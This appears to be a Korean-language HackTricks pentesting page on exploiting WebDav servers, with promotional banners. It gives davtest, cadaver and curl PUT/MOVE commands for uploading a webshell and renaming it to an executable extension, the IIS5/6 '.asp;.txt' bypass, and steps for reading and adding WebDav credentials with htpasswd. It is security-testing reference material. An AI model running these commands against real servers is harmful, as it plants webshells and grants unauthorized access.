mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 21:24:06 +00:00
126 lines
7.6 KiB
Markdown
126 lines
7.6 KiB
Markdown
# WebDav
|
|
|
|
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav)를 사용하여 세계에서 **가장** **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
|
|
오늘 바로 액세스하세요:
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
HackTricks를 지원하는 다른 방법:
|
|
|
|
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
|
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
|
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하세요.
|
|
|
|
</details>
|
|
|
|
**HTTP 서버에 WebDav**가 활성화된 경우, **적절한 자격 증명**을 가지고 있다면 **파일을 조작**할 수 있습니다. 이는 일반적으로 **HTTP 기본 인증**을 통해 확인됩니다. 이러한 서버를 제어하기 위해서는 종종 **웹쉘을 업로드하고 실행**해야 합니다.
|
|
|
|
WebDav 서버에 액세스하려면 일반적으로 **유효한 자격 증명**이 필요하며, [**WebDav 브루트포스**](../../generic-methodologies-and-resources/brute-force.md#http-basic-auth)가 이를 얻는 데 일반적인 방법입니다.
|
|
|
|
파일 업로드에 대한 제한을 극복하기 위해 서버 측 스크립트 실행을 방지하는 경우, 다음을 수행할 수 있습니다:
|
|
|
|
* **실행 가능한 확장자**를 가진 파일을 직접 **업로드**합니다(제한이 없는 경우).
|
|
* 업로드된 비실행 파일(.txt와 같은)을 실행 가능한 확장자로 **이름을 변경**합니다.
|
|
* 업로드된 비실행 파일을 복사하여 실행 가능한 확장자로 확장자를 변경합니다.
|
|
|
|
## DavTest
|
|
|
|
**Davtest**는 **다양한 확장자를 가진 여러 파일을 업로드**하고 확장자가 **실행되는지 확인**합니다:
|
|
```bash
|
|
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
|
|
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
|
|
```
|
|
## Cadaver
|
|
|
|
이 도구를 사용하여 WebDav 서버에 연결하고 **수동으로** 작업(예: **업로드**, **이동**, **삭제**)을 수행할 수 있습니다.
|
|
```
|
|
cadaver <IP>
|
|
```
|
|
## PUT 요청
|
|
```
|
|
curl -T 'shell.txt' 'http://$ip'
|
|
```
|
|
## MOVE 요청
|
|
```
|
|
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
|
|
```
|
|
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
|
오늘 액세스하세요:
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %}
|
|
|
|
## IIS5/6 WebDav 취약점
|
|
|
|
이 취약점은 매우 흥미로운데, **WebDav**는 **.asp** 확장자를 가진 파일을 **업로드**하거나 **이름 바꾸는 것을 허용하지 않습니다**. 그러나 이름 끝에 **";.txt"**를 추가하면 파일이 .asp 파일처럼 **실행**됩니다 (".txt" 대신에 ".html"을 사용할 수도 있지만 **";"를 잊지 마세요**).
|
|
|
|
그런 다음 쉘을 ".**txt" 파일**로 업로드하고 **".asp;.txt" 파일**로 복사/이동할 수 있습니다. 웹 서버를 통해 해당 파일에 액세스하면 **실행**됩니다 (cadaver는 이동 작업이 작동하지 않았다고 할 것이지만, 실제로 작동했습니다).
|
|
|
|
![](<../../.gitbook/assets/image (1092).png>)
|
|
|
|
## 자격 증명 게시
|
|
|
|
Webdav가 Apache 서버를 사용하는 경우 Apache에서 구성된 사이트를 살펴봐야 합니다. 일반적으로:\
|
|
_**/etc/apache2/sites-enabled/000-default**_
|
|
|
|
내부에서 다음과 같은 내용을 찾을 수 있습니다:
|
|
```
|
|
ServerAdmin webmaster@localhost
|
|
Alias /webdav /var/www/webdav
|
|
<Directory /var/www/webdav>
|
|
DAV On
|
|
AuthType Digest
|
|
AuthName "webdav"
|
|
AuthUserFile /etc/apache2/users.password
|
|
Require valid-user
|
|
```
|
|
다음과 같이 유효한 **자격 증명**이 있는 파일이 있습니다. **webdav** 서버용:
|
|
```
|
|
/etc/apache2/users.password
|
|
```
|
|
이 유형의 파일 안에는 **사용자 이름**과 **비밀번호**의 **해시**가 포함되어 있습니다. 이것들은 웹다브 서버가 사용자를 인증하는 데 사용하는 자격 증명입니다.
|
|
|
|
이를 **해독**하거나, 어떤 이유로든 **웹다브** 서버에 **액세스**하려는 경우 **더 추가**할 수 있습니다:
|
|
```bash
|
|
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
|
|
```
|
|
새 자격 증명이 작동하는지 확인하려면 다음을 수행할 수 있습니다:
|
|
```bash
|
|
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
|
|
```
|
|
## 참고 자료
|
|
|
|
* [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/)
|
|
|
|
<details>
|
|
|
|
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
|
|
|
HackTricks를 지원하는 다른 방법:
|
|
|
|
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
|
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
|
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
|
|
</details>
|
|
|
|
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav)를 사용하여 세계에서 가장 고급 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
|
오늘 바로 액세스하세요:
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %}
|